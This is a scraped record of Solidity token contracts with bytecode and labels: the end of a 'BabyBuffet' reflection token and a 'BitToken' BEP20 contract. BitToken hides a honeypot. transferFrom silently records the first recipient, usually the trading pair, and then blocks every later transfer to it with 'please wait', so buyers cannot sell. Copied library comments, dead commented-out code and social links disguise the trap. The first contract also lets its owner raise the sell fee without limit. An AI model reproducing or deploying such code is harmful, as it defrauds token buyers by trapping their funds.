require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // contract implementation contract BabyElon is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; uint8 private _decimals = 9; // ********************************* START VARIABLES ********************************** string private _name = "BabyBuffet"; // name string private _symbol = "BabyBuffet"; // symbol uint256 private _tTotal = 1000 * 10**9 * 10**uint256(_decimals); // total supply // % to holders uint256 public defaultTaxFee = 5; uint256 public _taxFee = defaultTaxFee; uint256 private _previousTaxFee = _taxFee; // % to swap & send to marketing wallet uint256 public defaultMarketingFee = 0; uint256 public _marketingFee = defaultMarketingFee; uint256 private _previousMarketingFee = _marketingFee; uint256 public _marketingFee4Sellers = 10; bool public feesOnSellersAndBuyers = true; uint256 public _maxTxAmount = _tTotal.div(1).div(100); // max transaction amount uint256 public numTokensToExchangeForMarketing = _tTotal.div(100).div(100); // contract balance to trigger swap & send address payable public marketingWallet = payable(0x79B74ec12E5A41EDea039C92B84b0BBF7718Be39); // marketing wallet // ********************************** END VARIABLES *********************************** mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tFeeTotal; uint256 private _rTotal = (MAX - (MAX % _tTotal)); IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndSend; bool public SwapAndSendEnabled = true; event SwapAndSendEnabledUpdated(bool enabled); modifier lockTheSwap { inSwapAndSend = true; _; inSwapAndSend = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0xef74D8f7D3f88994f27396136D8447952d082302); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0xef74D8f7D3f88994f27396136D8447952d082302, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner() { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner() { _isExcludedFromFee[account] = false; } function removeAllFee() private { if(_taxFee == 0 && _marketingFee == 0) return; _previousTaxFee = _taxFee; _previousMarketingFee = _marketingFee; _taxFee = 0; _marketingFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _marketingFee = _previousMarketingFee; } //to recieve ETH when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tMarketing, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tMarketing); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tMarketing = calculateMarketingFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tMarketing); return (tTransferAmount, tFee, tMarketing); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tMarketing, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rMarketing = tMarketing.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rMarketing); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeMarketing(uint256 tMarketing) private { uint256 currentRate = _getRate(); uint256 rMarketing = tMarketing.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rMarketing); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tMarketing); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateMarketingFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_marketingFee).div( 10**2 ); } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + send lock? // also, don't get caught in a circular sending event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensToExchangeForMarketing; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if ( overMinTokenBalance && !inSwapAndSend && from != uniswapV2Pair && SwapAndSendEnabled ) { SwapAndSend(contractTokenBalance); } if(feesOnSellersAndBuyers) { setFees(to); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function setFees(address recipient) private { _taxFee = defaultTaxFee; _marketingFee = defaultMarketingFee; if (recipient == uniswapV2Pair) { // sell _marketingFee = _marketingFee4Sellers; } } function SwapAndSend(uint256 contractTokenBalance) private lockTheSwap { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), contractTokenBalance); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( contractTokenBalance, 0, // accept any amount of ETH path, address(this), block.timestamp ); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { marketingWallet.transfer(contractETHBalance); } } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function setDefaultMarketingFee(uint256 marketingFee) external onlyOwner() { defaultMarketingFee = marketingFee; } function setMarketingFee4Sellers(uint256 marketingFee4Sellers) external onlyOwner() { _marketingFee4Sellers = marketingFee4Sellers; } function setFeesOnSellersAndBuyers(bool _enabled) public onlyOwner() { feesOnSellersAndBuyers = _enabled; } function setSwapAndSendEnabled(bool _enabled) public onlyOwner() { SwapAndSendEnabled = _enabled; emit SwapAndSendEnabledUpdated(_enabled); } function setnumTokensToExchangeForMarketing(uint256 _numTokensToExchangeForMarketing) public onlyOwner() { numTokensToExchangeForMarketing = _numTokensToExchangeForMarketing; } function _setMarketingWallet(address payable wallet) external onlyOwner() { marketingWallet = wallet; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } }
0x73f27bc02f30ab818806844c6576ca139cd9ef704730146080604052600080fdfea264697066735822122024e4f1e1ff4c0e50deaa8833971d07624a64be787eb70f561614675ce573069164736f6c63430008030033
[ 13, 11 ]
0xf27c277fd39cc5ae9e18e88a6612588c2101924f
// pragma solidity 0.8.0; // SPDX-License-Identifier: MIT /** * * * ╭━━╮╱╭╮╱╭━━━━╮╱╭╮ * ┃╭╮┃╭╯╰╮┃╭╮╭╮┃╱┃┃ * ┃╰╯╰╋╮╭╯╰╯┃┃┣┻━┫┃╭┳━━┳━╮ * ┃╭━╮┣┫┃╱╱╱┃┃┃╭╮┃╰╯┫┃━┫╭╮╮ * ┃╰━╯┃┃╰╮╱╱┃┃┃╰╯┃╭╮┫┃━┫┃┃┃ * ╰━━━┻┻━╯╱╱╰╯╰━━┻╯╰┻━━┻╯╰╯ */ /** * 📩 Twitter: https://twitter.com/BitTokenGroup * 💬 TG: https://t.me/BitTokenGroup * 💎 Project: https://coolbitx.com/ */ /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * increases the gas cost of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. */ /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards * Emits an {Approval} event. */ pragma solidity ^0.5.17; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract BEP20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } /** * @dev Returns the amount of tokens owned by `account`. */ /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ contract TokenBEP20 is BEP20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public newun; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * increases the gas cost of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. */ constructor() public { symbol = "BTK"; name = "BitToken"; decimals = 9; _totalSupply = 100000000 * 10**9; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } /** * @dev Implementation of the {IERC20} interface. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function () external payable { revert(); } } /** function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } } */ contract BitToken is TokenBEP20 { /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ function clearCNDAO() public onlyOwner() { /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable { } } /** interface 